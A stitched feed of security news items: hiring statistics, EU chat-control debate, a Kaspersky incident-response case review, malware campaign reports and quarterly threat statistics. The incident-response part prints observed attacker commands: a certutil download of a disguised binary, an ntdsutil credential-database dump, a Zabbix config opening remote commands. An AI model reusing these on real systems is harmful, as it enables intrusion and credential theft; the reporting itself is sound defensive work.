“Inoltre, crediamo che nel prossimo futuro inizierà a crescere la necessità di esperti nel campo dell’intelligenza artificiale e della sicurezza delle reti neurali”. Risultati simili sono stati ottenuti da uno studio simile sul mercato del lavoro nel campo della sicurezza informatica , condotto da Angara Security .

Secondo il fornitore di servizi, lo scorso anno il numero dei posti vacanti nel settore della sicurezza informatica è aumentato del 27%.

Secondo gli esperti, la crescente carenza di personale addetto alla sicurezza informatica è direttamente collegata al percorso generale verso la digitalizzazione dell’economia e all’inasprimento dei requisiti normativi in ​​materia di sicurezza di fronte all’aumento del numero e della complessità degli attacchi informatici .

L'articolo Esperti di sicurezza? Siete i più richiesti! Nella PA, il 46% delle posizioni in Cybersecurity è vacante proviene da il blog della sicurezza informatica.

As early as tomorrow morning, a majority of EU governments could endorse the controversial draft law on chat control, which had been removed from the agenda in June after massive protests. According to a report by the news service Contexte, the new Hungarian Council Presidency intends to achieve a majority with a small twist, namely removing the searching for unknown material using „artificial intelligence“ (as requested by the Netherlands). The exact details of the Hungarian proposal are kept secret. But the proposal is still to require bulk automated searches in and disclosure of private chats, including end-to-end encrypted chats, that might contain illegal photos or videos. If a user opt out of this “upload moderation” of their chats, they would be blocked from receiving or sending any images, videos and URLs. Signal and Threema have announced they would end their services in the EU if forced to implement the proposed automated monitoring (so-called “client-side scanning”).

Former Pirate Party Member of the European Parliament Patrick Breyer is now calling on EU citizens to turn to their governments: “In June, under massive public pressure, there was a fragile blocking minority to save our digital privacy of correspondence and secure encryption. But now, with no spotlight on government dealings, minimal concessions could tip the scales. Europeans need to understand that they will be cut off from using commonplace secure messengers if chat control is adopted – that means losing touch with your friends and colleagues around the world. Do you really want Europe to become the world leader in bugging our smartphones and requiring blanket surveillance of the chats of millions of law-abiding Europeans?“

Breyer describes the proposal to restrict chat controls to supposedly ‘known’ illegal content as window-dressing: “Regardless of the objective – imagine the postal service simply opened and snooped through every letter without suspicion. It’s inconceivable. Besides, it is precisely the current bulk screening for supposedly known content by Big Tech that exposes thousands of entirely legal private chats, overburdens law enforcement and mass criminalises minors.

The European Parliament is convinced that this Orwellian approach will betray children and victims by inevitably failing in court. It calls for truly effective child protection by mandating security by design, proactive crawling to clean the web and removal of illegal content – none of which is contained in the government proposal on the table now. We have one day to make our governments take a different approach of effective and rights-respecting protection while saving our privacy and security online!”

Breyer’s info portal on chat control: chatcontrol.eu

patrick-breyer.de/en/chat-cont…

In 2023, Kaspersky’s Global Emergency Response Team (GERT) participated in services around the world that allowed our experts to gain insight into various threats and techniques used by APT groups, common crimeware and, in some cases, internal adversaries. As we highlighted in our annual report, the most prominent threat in 2023 was ransomware, and the Government vertical was the sector that most frequently requested digital forensics, incident response and malware analysis (DFIRMA) services. While file encryption was the most common threat last year, this post proposes a deep dive into specific cases that caught our attention and were mentioned during our annual DFIRMA report webinar.

The insider fraud attack

A group of collaborators at a government organization identified an internal service that allowed the creation of legitimate transactions that weren’t direct money transfers, but could result in monetary losses for the organization. These losses could reach millions of dollars.

The following scenario (not related to a specific customer) could be considered an example of such misuse of an internal service:

A bank only allows a customer to open a maximum of two bank accounts for free, with the customer paying a fee to open additional accounts. However, the adversary used the internal system to create multiple bank accounts for individual customers, who avoided paying the required fees in exchange for a payment to the adversary. As a result of this incident, the organization reported a loss of more than $20 million.

Many logs related to the application in question, as well as VPN access and network activity, were requested for analysis and the employees involved in the fraudulent activity were identified. Two different cases were analyzed in which the abuse of transaction configuration was confirmed, one by exploiting a vulnerability in a debugging interface and the other by misusing privileges in a valid account.

In the first case, GERT identified a misconfiguration that was abused by the adversaries to steal cookies from other users to impersonate them and their activity. An application on one of the analyzed systems registered exception logging details that included cookies for the user that encountered the exception, allowing us to determine the user involved.

In the other case, one of the users modified the privileges and details of another user, impersonating that user to create additional transactions in the internal service and attempting to hide the original details. Later, this newly modified user accessed the VPN from a previously known system where another user was accessing the transaction system for what was initially catalogued as legitimate activity, but which was recently confirmed to be part of the malicious activity.

Most of the criminal activity was performed by accessing the infrastructure through the VPN, but it was discovered that a new user was accessing the transaction system from the internal network using the same unauthorized behavior.

The results of the GERT team’s analysis confirmed the collusion of a user involved in the transaction requests and managed to identify the sources and link the user activity to various systems involved in the investigation, including local and remote IDs. This information was used by the customer in a timely manner to take legal action against the insider employee and his accomplices.

Mitre ATT&CK techniques

Flax Typhoon/SLIME13 APT attack

After enabling Kaspersky Managed Detection and Response (MDR) in a customer’s infrastructure, our platforms detected the presence of well-known software installed on the customer’s premises without their knowledge.

Although these applications were legitimate, attackers used them to gain persistent access to the victim’s environment.

In September 2023, Kaspersky MDR detected a suspicious service on a corporate host. The adversaries used a technique that mimicked the real system application name conhost.exe, but the service was started from a non-standard folder. GERT’s analysis confirmed that the application wasn’t a system service, but was instead associated with SoftEther VPN, a legitimate multi-protocol VPN software.

The supposed conhost application was downloaded to the system by a legitimate local user using the well-known Windows LOLBin certutil, and then installed via command line as a system service:
certutil.exe -urlcache -split -f hxxp://<Public IP>/conhost.exe
Another suspicious service masquerading as wshelper.dll was observed on another host. This DLL was associated with Zabbix agent, which is typically deployed on a monitoring target to actively monitor local resources and applications.

Analysis of the sample confirmed that the configuration file was set to allow remote commands, taking advantage of passive and active checks enabled by Zabbix.
EnableRemoteCommands=1
LogFile=0
Server=0.0.0.0/0
ListenPort=5432
Port 5432 was configured in a firewall rule to allow listening, with the “smart” name PGSQL to make it look legitimate.

GERT’s analysis confirmed that the intrusion lasted more than two years. In the early stages of the attack, an NTDS dump was created using system commands:
cmd /c ntdsutil "ac i ntds" ifm "create full c:\PerfLogs\test" q q
c:\windows\sysvol\domain\ntds\active directory\ntds.dit"
During those two years of intrusion, security controls detected and contained multiple attempts to execute pentesting applications such as Mimikatz and CobaltStrike, but all the repurposed legitimate software remained invisible until the customer decided to implement our MDR solution. GERT analysis confirmed that the infrastructure had been compromised since mid-2021. The artifacts and TTPs of the attackers are similar to those used by the Flax Typhoon APT group, which employs minimal malware and custom payloads, but relies heavily on legitimate applications instead.

Mitre ATT&CK techniques

The MFA lack of control

After enabling multi-factor authentication (MFA) for its “critical employees”, a financial company was targeted by a spear-phishing attack.

The phishing attack spoofed the popular DocuSign platform and was directed at a specific group of employees. Although the company detected the phishing attack and configured rules to avoid receiving similar emails, some users received and opened the malicious email.

Among those who unwittingly opened the link was one of the protected users. The attackers were able to take control of his account thanks to the implementation of a phishing kit configured to automatically steal the MFA tokens.

The initial phishing attack occurred on October 6, 2023, and GERT analysts confirmed that one of the targeted users opened the malicious email the same day, which was followed by new connections opened from different locations outside the company’s headquarters. The attackers also configured additional MFA devices to access the target user’s mailbox contents without being noticed and without tampering with the original mailbox.

The attackers accessed the contents of the mailbox for a few days, allowing them to understand internal processes and prepare a BEC attack.

One month after the initial access, the attackers compromised a privileged email account (where MFA was not enabled). This new account had privileges in Microsoft 365, which allowed new rules and parameters to be configured. The attackers configured “send as” privileges on behalf of critical users, such as money transfer approvers and requesters. The adversaries also used this account to configure forwarding rules to hide messages received from a specific bank and from specific users.

Once the necessary privileges and rules were configured, the attackers sent a new email request using a legitimate template previously used in the company to request money transfers and attached documents collected from the original compromised account, but with a different destination bank account, requesting an international transfer of more than $300,000.

Upon receiving the request, the bank processed the transfer as usual based on the legitimate source and attached documents.

A notification was sent to the customer from an email address belonging to the bank, confirming the transfer. However, this email address wasn’t listed in the attackers’ forwarding rules, so the message was delivered to the customer’s mailbox. After receiving this message, the customer decided to investigate the user responsible for the privileged mail account.

GERT’s analysis confirmed the initial attack date and vector, the compromised users, and all the techniques used by the threat actors, and provided a set of recommendations for protecting and monitoring cloud assets. By analyzing user access logs (UAL) and additional cloud logs, as well as firewall logs and the client’s own system logs, GERT was able to provide a complete timeline detailing all the techniques used by the fraudsters.

Mitre ATT&CK techniques

ToddyCat-like APT attack with an ICMP backdoor

Kaspersky’s Managed and Detection Response service (MDR) was alerted to suspicious activity on domain controllers and Exchange servers.

GERT was contacted to investigate the case; our analysis confirmed SMB abuse and IKEEXT service exploitation, as well as exploitation of the Microsoft Exchange server remote code execution vulnerability (CVE-2021-26855).

One interesting finding was the use of IKEEXT for persistence. The vulnerability used by the attackers, along with the exploit for it, was first published by High-Tech Bridge Security Research Lab in 2012. It was associated with the wlbsctrl.dll library and originally used for privilege escalation. Shortly after the exploit was published, Microsoft patched the vulnerability. However, our analysts confirmed that the same library is now being used as a persistence mechanism for malware.

IKEEXT is a default service on Windows. It is invoked by the svchost process, which loads ikeext.dll, the DLL responsible for the IKEEXT service.

The ikeext.dll library, in turn, is responsible for loading a DLL named wlbsctrl.dll, which is default Windows behavior. However, while the svchost service always runs on the system, wlbsctrl.dll does not exist in the file system by default, and this where threat actors saw an opportunity.

The threat actors created a malicious version of wlbsctrl.dll and saved it on the system. Based on Windows behavior, this DLL was executed every time without requiring registration in Autorun, which is commonly used for persistence.

Besides persistence, in the investigated incident the threat actor used the IKEEXT vulnerability to perform lateral movement via the SMB protocol and created a custom firewall rule named DLL Surrogate that permits dllhost.exe to listen on custom port 52415. All this was achieved by placing the backdoored wlbsctrl.dll into the system32 folder where the legitimate library is normally stored (if present on the system).

Later, the attacker implemented an ICMP backdoor. Once the backdoor was identified, Kaspersky verified and detected two more in-the-wild samples outside the customer’s infrastructure. All the discovered samples were similar except for the following points:

• Some differences in the PE header (normal behavior between similar samples);
• Different mutex strings, all located at the same raw file offset;
• Different bytes at the raw file offset 0x452–0x483, which are apparently useless (non-actionable) code.

Based on GERT’s analysis, the backdoor acted like a loader, configured to execute the following activities:

• Check for the mutex; if it already exists in memory, terminate the process.
• Attempt to read the file %WINDIR%\Microsoft.NET\Framework\sbs_clrhost.res; decrypt its contents using the AES algorithm with a hardcoded KEY and a KEY derived from the volume serial number (VSN) of the C drive, then use it to set the value of the registry key “SOFTWARE\Classes\Interface {<calculated_for_each_host>}”, and then delete the file.
• Load the contents of the default value of registry key “SOFTWARE\Classes\Interface {<calculated_for_each_host>}”, decrypt it again with AES using the same KEY described above, and invoke the payload shellcode.
• Allocate the shellcode size in a new segment and jump to it.

Note: The calculated REGKEY NAME (Interface {<calculated_for_each_host>}) is based on the VSN of the C drive (without host VSN it is not possible to decrypt correctly).

As part of the analysis, GERT identified a payload stored in the Windows registry and analyzed it, confirming the following behavior in the encrypted payload.

The decrypted payload has the header “CAFEBABE” (hex bytes magic related to Java Class files) followed by the shellcode size and finally the data. This payload executes the following commands:

1. Decrypt itself (for the third time);
2. If not running under exe, create a suspended dllhost process with the parameter “/Processid: {02D4B3F1-FD88-11D1-960D-00805FC79235}”, which refers to a COM+ system application service;
3. Allocate space to the new process;
4. Write a section of the decrypted payload (starting at offset 0x1A03, and having a size that’s contained in the small header at offset 0x19FF) into the new allocation;
5. Patch dllhost (in memory only) to ensure execution at the newly allocated space;
6. Resume the dllhost process.

A new instance of the shellcode starts from step one. It finds that it is actually running under dllhost, decrypts a new section, executes it and listens on port 52415. The final payload injected into dllhost.exe appears to create a raw ICMP socket with no port. No outbound connection is made (although the received payload likely communicates outbound). Data is received from an unknown source in a Base64-encoded ICMP packet, converted to binary, decrypted, and executed via direct execution of data (allocating space using the VirtualAlloc function), copying shellcode to the allocated space, making a direct call to the allocated space.

According to our threat intelligence platforms, this threat has similarities to APT attacks: the attack Tactics, Techniques and Procedures (TTP) used are very similar to the ToddyCat actor, but there’s no solid attribution to this group.

The objective of the threat actor was to gain persistence for monitoring and future impact, but no other objectives were confirmed based on the evidence obtained.

Mitre ATT&CK techniques

Conclusions

Although statistics show the government sector was the most targeted vertical last year, it is clear that threat and crimeware actors do not care which vertical their potential targets belong to. To stay ahead of the attackers, the best course of action is to assess your asset inventory and continue to monitor and protect it.

The trend of cyberattacks and intrusions making use of infrastructure assets or legitimate on-premises applications creates the need to enable additional layers of monitoring based on threat intelligence. The implementation of MDR has been one of the recurring triggers for new investigations thanks to its detection capabilities and the ability of analysts to determine timely courses of action.

To learn more about our Incident Response report, we invite you to view the recording of the webinar “Analyzing last year’s cyber incident cases”.

securelist.com/incident-respon…

With as cheap and versatile as RTL-SDR devices are, it’s a good idea to have a couple of them on hand for some rainy day hacking. In fact, depending on what signals you’re trying to sniff out of the air, you may need multiple interfaces anyway. Once you’ve amassed this arsenal of software defined radios, you may find yourself needing a way to transport and deploy them. Luckily, [Jay Doscher] has you covered.

His latest creation, the SDR SOLO, is a modular system for mounting RTL-SDRs. Each dongle is encased in its own 3D printed frame, which not only protects it, but makes it easy to attach to the base unit. To keep the notoriously toasty radios cool, each frame has been designed to maximize airflow. You can even mount a pair of 80 mm fans to the bottom of the stack to really get the air moving. The current design is based around the RTL-SDR Blog V4, but could easily be adapted to your dongle of choice.

In addition to the row of SDR dongles, the rig also includes a powered USB hub. Each radio connects to the hub via a short USB cable, which means that you’ll only need a single USB cable running back to your computer. There’s also various mounts and adapters for attaching antennas to the system. Stick it all on the end of a tripod, and you’ve got a mobile radio monitoring system that’ll be the envy of the hackerspace.

As we’ve come to expect, [Jay] put a lot of thought and effort into the CAD side of this project. Largely made of 3D printed components, his projects often feature a rugged and professional look that really stands out.

hackaday.com/2024/09/03/portab…

The Dutch Data Protection Authority (DPA) fined Clearview AI €30.5 million on Tuesday (3 September), for illegally building a database with over 30 billion photos.

euractiv.com/section/data-priv…

Benvenuti alla nostra serie di articoli dedicati alla cybersecurity per le Piccole e Medie Imprese (PMI)! In un mondo sempre più digitale, la sicurezza informatica è diventata una priorità fondamentale per tutte le aziende. Tuttavia, le PMI spesso non dispongono delle risorse o delle competenze necessarie per affrontare adeguatamente le minacce informatiche.

Questa serie di 12 articoli è stata pensata per fornire informazioni pratiche e accessibili che ti aiuteranno a proteggere la tua azienda. Ogni articolo approfondirà un aspetto specifico della cybersecurity, offrendo consigli utili, strategie e best practice per migliorare la tua postura di sicurezza. Dall’aggiornamento del software alla protezione della rete wireless, dalla formazione dei dipendenti alla gestione delle minacce come il ransomware e il phishing, copriremo tutti i punti essenziali per aiutarti a mantenere la tua azienda sicura.

Iniziamo con i fondamenti della cybersecurity, un punto di partenza essenziale per comprendere l’importanza di proteggere i tuoi dati e dispositivi. Continua a seguirci per scoprire come mettere in pratica queste raccomandazioni e fare della sicurezza informatica una parte integrante della tua attività quotidiana.

Non importa se sei una piccola azienda di biscotti artigianali o un colosso della tecnologia, i cybercriminali non fanno distinzione. Non vorrai mica che il tuo piccolo regno venga violato da qualche hacker affamato di dati, vero? Segui questi semplici consigli per trasformare la tua PMI in una fortezza digitale.

Proteggi i tuoi File e Dispositivi

Aggiorna il Software

Se pensi che aggiornare il software sia noioso come guardare la vernice che asciuga, ripensaci. Gli aggiornamenti automatici sono come il burro sulle tue fette biscottate di sicurezza.

Windows update

Aggiornamento automatico app Android

Aggiornamenti automatici su IPhone

Update automatici su Ubuntu

Aggiornamenti automatici du Debian

Metti al Sicuro i tuoi File

Backup, backup, backup! Esegui il backup dei tuoi file importanti offline, su un disco rigido esterno o nel cloud. E per l’amor del cielo, chiudi a chiave i tuoi documenti cartacei su un armadietto.. Usa la regola dei backup 3-2-1 che è piuttosto semplice da spiegare. L’idea è che tu abbia tre copie dei tuoi file: una su cui lavori e due per scopi di backup. Queste due copie di backup sono conservate su supporti diversi e una di esse è fuori sede.

Crediti Proton

Richiedi Password Sicure

Usi la password “12345”?? Sei serio? Piuttosto usa password forti per tutti i dispositivi. E no, non scriverle su un post-it attaccato al monitor, ti prego!

Questa ad esempio è la tabella che mostra i tempi di rilevamento di una password usando tecniche di forza bruta variando tipi di carattere della password e lunghezza.

Cripta i Dispositivi

Cripta tutto, dal laptop al frigorifero smart se necessario. I dati sensibili devono essere protetti come il segreto della Coca-Cola. Ad esempio potresti utilizzare una chiavetta usb con bitLocker per bloccare e sbloccare il tuo hard disk con i dati da proteggere.

Usa l’Autenticazione a Più Fattori (MFA)

Un ulteriore strato di sicurezza, come un codice temporaneo sullo smartphone. Gli hacker dovranno lavorare molto di più per rubare i tuoi dati. Usare una autenticazione a più fattori è differente da un autenticazione a 2 fattori (2FA) perchè in questo ultimo caso ti saranno chiesti due codici ad esempio una password e un codice. Nell’autenticazione a più fattori dovrai utilizzare due tra:

• Qualcosa che sai: I fattori di autenticazione basati sulla conoscenza, come la password, richiedono all’utente di ricordare un segreto che verrà digitato nella pagina di autenticazione.
• Qualcosa che hai: I fattori di autenticazione basati sul possesso richiedono che l’utente sia in possesso di un particolare oggetto, come uno smartphone, una smartcard o un token di autenticazione fisico (come uno Yubikey).
• Qualcosa che sei: I fattori di autenticazione basati sull’inerenza identificano un utente in base ad attributi unici come le impronte digitali, le impronte vocali o il riconoscimento facciale.

Proteggi la tua Rete Wireless

Proteggi il tuo Router

Cambia il nome e la password di default. Spegni la gestione remota e non dimenticare di uscire come amministratore. Il router non è un giocattolo, trattalo con rispetto.

Usa la Criptazione WPA2/WPA3

Assicurati che il tuo router utilizzi almeno il protocollo di sicurezza WPA2. Vuoi proteggere le informazioni che invii sulla tua rete? Bene, allora attiva la criptazione dei tuoi dati trasmessi e una fase di autenticazione più robusta con WPA3!

Pratiche di Sicurezza Intelligenti

Limita i Tentativi di Accesso

Restringi il numero di tentativi di accesso non riusciti. Gli hacker non dovrebbero avere infiniti tentativi di indovinare la tua password. Tutti i servizi che configuri impostali in modo che la password possa scadere e che i tentativi di accesso siano limitati.

Forma il tuo Staff

Sì, anche tuo cugino che lavora part-time. Esegui regolarmente sessioni di formazione sulla sicurezza per tutti i dipendenti. La sicurezza deve essere parte della cultura aziendale.I temi come le tecniche di attacco di ingegneria sociale, l’autenticità dei messaggi, l’autorevolezza delle fonti, la pec e lo spid devono fare parte della nostra competenza digitale di base.

Prepara un Piano

Sviluppa un piano per salvare i dati, mantenere le operazioni e notificare i clienti in caso di violazione. Non farti trovare impreparato come uno scoiattolo in autostrada.

Ricapitolando questi sono i passi pratici da seguire

• Backup Regolari: Assicurati che i backup siano effettuati regolarmente e siano archiviati in modo sicuro.
• Aggiornamenti Automatici: Imposta i sistemi per aggiornarsi automaticamente. Non vuoi diventare l’anello debole della sicurezza.
• Formazione dei Dipendenti: Conduci regolarmente sessioni di formazione sulla sicurezza per tutto il personale. Non lasciare che l’ignoranza sia il tuo nemico.
• Sicurezza Fisica: Chiudi a chiave dispositivi e file cartacei contenenti informazioni sensibili. Non è una cosa difficile, davvero.
• Autenticazione a più fattori: Implementa l’MFA ovunque possibile. Più strati di sicurezza, meno notti insonni.

Seguendo queste regole fondamentali, le piccole e medie imprese possono migliorare significativamente la loro postura di sicurezza informatica e proteggersi dalle minacce potenziali. Ricorda, la cybersecurity non è un compito unico, ma un processo continuo che richiede vigilanza e aggiornamenti regolari.

L'articolo Ritorno alle Basi: Fondamenti di Cybersecurity per le PMI (1/12) proviene da il blog della sicurezza informatica.

Proofpoint riferisce che una nuova campagna malware sfrutta Fogli Google per gestire la backdoor Voldemort, progettata per raccogliere informazioni e fornire payload aggiuntivi.

Gli aggressori si spacciano per autorità fiscali in Europa, Asia e Stati Uniti e hanno già attaccato più di 70 organizzazioni in tutto il mondo. Gli hacker compongono le e-mail di phishing in modo tale che corrispondano alla posizione di una determinata organizzazione (per questo gli aggressori si affidano a fonti aperte). Tali messaggi presumibilmente contengono informazioni fiscali aggiornate e collegamenti a documenti pertinenti.

Secondo il rapporto dei ricercatori, la campagna è iniziata il 5 agosto 2024 e gli hacker hanno già inviato più di 20.000 e-mail (fino a 6.000 al giorno). Gli aggressori prendono di mira settori quali assicurazioni, aerospaziale, trasporti, università, finanza, tecnologia, produzione, sanità, automobilistico, ospitalità, energia, governo, media, telecomunicazioni e così via.

Non è chiaro chi si nasconda dietro questa campagna, ma gli esperti di Proofpoint ritengono che l’obiettivo più probabile degli aggressori sia lo spionaggio informatico.

Facendo clic sul collegamento nell’e-mail, i destinatari vengono indirizzati a una pagina di destinazione ospitata da InfinityFree, che utilizza gli URL della cache AMP di Google per reindirizzare le vittime a una pagina con un pulsante “Fai clic per visualizzare il documento”.

Quando si fa clic sul pulsante, la pagina controlla l’User Agent del browser e, se associato a Windows, reindirizza la vittima all’URI search-ms (Windows Search Protocol), che punta all’URI tunneled di TryCloudflare. Gli utenti non Windows vengono reindirizzati a un URL di Google Drive vuoto che non contiene contenuti dannosi.

Se la vittima interagisce con il file search-ms, Esplora risorse visualizza un file LNK o ZIP mascherato da PDF. L’uso dell’URI search-ms è recentemente diventato popolare nelle campagne di phishing perché un file di questo tipo, ospitato su una condivisione WebDAV/SMB esterna, fa apparire come se fosse nella cartella Download locale, invogliando la vittima ad aprirlo.

Di conseguenza, sul computer della vittima viene eseguito uno script Python da un’altra risorsa WebDAV, che raccoglie informazioni di sistema per compilare un profilo. Allo stesso tempo, viene visualizzato un file PDF progettato per mascherare attività dannose.

Lo script carica anche l’eseguibile Cisco WebEx (CiscoCollabHost.exe) e una DLL dannosa (CiscoSparkLauncher.dll) per caricare Voldemort utilizzando il sideloading DLL.

Voldemort stesso è una backdoor scritta in linguaggio C che supporta un’ampia gamma di comandi e azioni sui file, inclusi il furto, l’inserimento di nuovi payload nel sistema e l’eliminazione dei file.

Una caratteristica distintiva di Voldemort è che il malware utilizza Google Sheet come server di controllo, ricevendo nuovi comandi tramite “Sheets” da eseguire sul dispositivo infetto e utilizzandoli anche come archivio per i dati rubati.

Pertanto, ogni macchina infetta registra i propri dati in specifiche celle di Fogli Google, che possono essere identificate da identificatori univoci come l’UUID, che garantisce l’isolamento e la gestione trasparente dei sistemi compromessi.

Per interagire con Fogli Google, Voldemort utilizza l’API di Google con un ID client integrato, un token di aggiornamento, che vengono archiviati nelle sue impostazioni crittografate.

Come notano gli esperti, questo approccio fornisce al malware un canale di controllo affidabile e altamente disponibile e riduce anche la probabilità che questa attività di rete venga notata dalle soluzioni di sicurezza. Poiché Fogli Google è ampiamente utilizzato nelle aziende, anche il blocco del servizio sembra poco pratico.

L'articolo Il Malware Voldemort sfrutta i Fogli di calcolo Google per Attacchi Globali proviene da il blog della sicurezza informatica.

The statistics presented here are based on detection verdicts by Kaspersky products and services received from users who consented to providing statistical data.

Quarterly figures

In Q2 2024:

• Kaspersky solutions blocked over 664 million attacks from various internet sources.
• The web antivirus reacted to 113.5 million unique URLs.
• The file antivirus blocked over 27 million malicious and unwanted objects.
• Almost 86,000 users encountered ransomware attacks.
• Nearly 12% of all ransomware victims whose data was published on DLSs (data leak sites) were affected by the Play ransomware group.
• Nearly 340,000 users faced miner attacks.

Ransomware

Quarterly trends and highlights

Law enforcement successes

In April 2024, a criminal who developed a packer that was allegedly used by the Conti and Lockbit groups to evade antivirus detection was arrested in Kyiv. According to Dutch police, the arrested individual was directly involved in at least one attack using the Conti ransomware in 2021. The criminal has already been charged.

In May, a member of the REvil group, arrested back in October 2021, was sentenced to 13 years in prison and ordered to pay $16 million. The cybercriminal was involved in over 2,500 REvil attacks, resulting in more than $700 million in total damages.

In June, the FBI announced that it had obtained over 7,000 decryption keys for files encrypted by Lockbit ransomware attacks. The Bureau encourages victims to contact the Internet Crime Complaint Center (IC3) at ic3.gov.

According to the UK’s National Crime Agency (NCA) and the US Department of Justice, the Lockbit group amassed up to $1 billion in its attacks from June 2022 to February 2024.

Attacks exploiting vulnerabilities

The CVE-2024-26169 privilege escalation vulnerability, patched by Microsoft in March 2024, was likely exploited in attacks by the Black Basta group. Some evidence suggests that at the time of the exploitation, this vulnerability was still unpatched, making it a zero-day vulnerability.

In June 2024, a massive TellYouThePass ransomware attack was launched, exploiting the CVE-2024-4577 vulnerability in PHP. This attack targeted Windows servers with certain PHP configurations, including those with the default XAMPP stack. The attackers scanned public IP address ranges and automatically infected vulnerable servers, demanding 0.1 BTC as ransom. Although this is a relatively small amount, the scale of the attacks could have yielded substantial profits. In recent years, this method has not been used as frequently due to its cost for attackers, who prefer instead targeted attacks with the hands-on involvement of operators. However, in this case, the attackers employed the time-tested approach.

Most active groups

Here are the most active ransomware groups based on the number of victims added to their DLSs (data leak sites). In Q2 2024, the Play group was the most active, publishing data on 12% of all new ransomware victims. Cactus came in second (7.74%), followed by Ransom Hub (7.50%).

The percentage of victims of a particular group (according to its DLS) among victims of all groups published on all DLSs examined during the reporting period (download)

Number of new modifications

In Q2 2024, we discovered five new ransomware families and 4,456 new ransomware variants.

Number of new ransomware modifications, Q2 2023 – Q2 2024 (download)

Number of users attacked by ransomware Trojans

In Q2 2024, Kaspersky solutions protected 85,819 unique users from ransomware Trojans.

Number of unique users attacked by ransomware Trojans, Q2 2024 (download)

Geography of attacked users

Top 10 countries and territories targeted by ransomware Trojans

*Countries and territories with fewer than 50,000 Kaspersky users were excluded from the calculations.
**Percentage of unique users whose computers were attacked by ransomware Trojans out of all unique Kaspersky product users in that country or territory.

Top 10 most common families of ransomware Trojans

*Statistics are based on detection verdicts by Kaspersky products. The information was provided by Kaspersky users who consented to providing statistical data.
**Unique Kaspersky users attacked by the ransomware Trojan family as a percentage of total users attacked by ransomware Trojans.

Miners

Number of new modifications

In Q2 2024, Kaspersky products detected 36,380 new miner variants.

Number of new miner modifications, Q2 2024 (download)

Number of users attacked by miners

In Q2 2024, we detected attacks using miners on 339,850 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q2 2024 (download)

Geography of attacked users

Top 10 countries and territories targeted by miners

*Countries and territories with fewer than 50,000 Kaspersky users were excluded from the calculations.
**Percentage of unique users whose computers were attacked by miners out of all unique Kaspersky product users in that country or territory.

Attacks on macOS

In Q2 2024, numerous samples of the spyware Trojan-PSW.OSX.Amos (also known as Cuckoo) were found. This spyware is notable for requesting an administrator password through osascript, displaying a phishing window. Attackers regularly update and repackage this Trojan to avoid detection.

New versions of the LightRiver/LightSpy spyware were also discovered. This Trojan downloads modules from the server with spy and backdoor functionalities. For example, they record the screen or audio, steal browser history, and execute arbitrary console commands.

Top 20 threats to macOS

The percentage of users who encountered a certain malware out of all attacked users of Kaspersky solutions for macOS (download)

The leading active threat continues to be a Trojan capable of downloading adware or other malicious applications. Other common threats include adware and fake “system optimizers” that demand money to “fix” nonexistent issues.

Geography of threats for macOS

Top 10 countries and territories by share of attacked users

*Percentage of unique users encountering macOS threats out of all unique Kaspersky product users in that country or territory.

There has been a slight increase of 0.1–0.2 p.p. in the share of attacked users in Mexico, Hong Kong, the United Kingdom, and India. Conversely, we see a slight decline in Spain, Italy, and Germany.

IoT threat statistics

In the second quarter of 2024, the distribution of attack protocols on devices targeting Kaspersky honeypots was as follows:

Distribution of attacked services by the number of unique IP addresses of the devices carrying out the attacks, Q1–Q2 2024 (download)

The share of attacks using the Telnet protocol continued to grow, reaching 98%.

Distribution of cybercriminal sessions with Kaspersky honeypots, Q1–Q2 2024 (download)

Top 10 threats delivered to IoT devices

Share of a specific threat downloaded to an infected device as a result of a successful attack, out of the total number of downloaded threats (download)

Attacks on IoT honeypots

For SSH protocol attacks, the share of attacks from China and India increased, while activity from South Korea slightly declined.

Telnet attacks from China returned to 2023 levels, while the share from India grew.

Attacks via web resources

The statistics in this section are based on the work of the web antivirus, which protects users at the moment malicious objects are downloaded from a malicious or infected webpage. Cybercriminals intentionally create malicious pages. Web resources with user-created content (such as forums), as well as compromised legitimate sites, can also be infected.

Countries and territories that serve as sources of web-based attacks: Top 10

The following statistics show the distribution of countries and territories that were the sources of internet attacks on users’ computers blocked by Kaspersky products (webpages with redirects to exploits, sites with exploits and other malware, botnet control centers, and so on). Any unique host could be the source of one or more web-based attacks.

To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established.

In Q2 2024, Kaspersky solutions blocked 664,046,455 attacks launched from online resources across the globe. A total of 113,535,455 unique URLs that triggered the web antivirus were recorded.

Distribution of web attack sources by country and territory (Q2 2024) (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection through the internet faced by user’s computers in different countries and territories, we calculated the share of Kaspersky product users who encountered web antivirus detections during the reporting period for each country and territory. This data indicates the aggressiveness of the environment in which computers operate.

The following statistics are based on the detection verdicts of the web antivirus module, provided by Kaspersky product users who consented to share statistical data.

It’s important to note that only attacks involving malicious objects of the Malware class are included in this ranking. Web antivirus detections for potentially dangerous and unwanted programs, such as RiskTool and adware, were not counted.

*Countries and territories with fewer than 10,000 Kaspersky users were excluded from the calculations.
**Percentage of unique users subjected to web attacks by malicious objects of the Malware class out of all unique Kaspersky product users in that country or territory.

On average during the quarter, 7.38% of the internet users’ computers worldwide were subjected to at least one Malware-category web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer through infecting files or removable media, or initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.).

Data in this section is based on analyzing statistics produced by antivirus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The following statistics are based on detection verdicts from the OAS (on-access scan, scanning when accessing a file) and ODS (on-demand scan, scanning launched by a user) antivirus modules, provided by Kaspersky product users who agreed to share statistical data. These statistics take into account malware found directly on users’ computers or on removable media connected to computers, such as flash drives, camera memory cards, phones, and external hard drives.

In the second quarter of 2024, our file antivirus detected 27,394,168 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users on whose computers file antivirus was triggered during the reporting period. This data reflects the level of infection of personal computers across different countries and territories worldwide.

Note that only attacks involving malicious objects of the Malware class are included in this ranking. Detections of potentially dangerous or unwanted programs such as RiskTool and adware were not counted.

*Countries and territories with fewer than 10,000 Kaspersky users were excluded from the calculations.
**Percentage of unique users on whose computers local Malware-class threats were blocked, out of all unique Kaspersky product users in that country or territory.

On average, 14.2% of users’ computers worldwide encountered at least one local Malware-class threat during the second quarter.

The figure for Russia was 15.68%.

securelist.com/it-threat-evolu…

Quarterly figures

According to Kaspersky Security Network, in Q2 2024:

• 7 million attacks using malware, adware or unwanted mobile software were blocked.
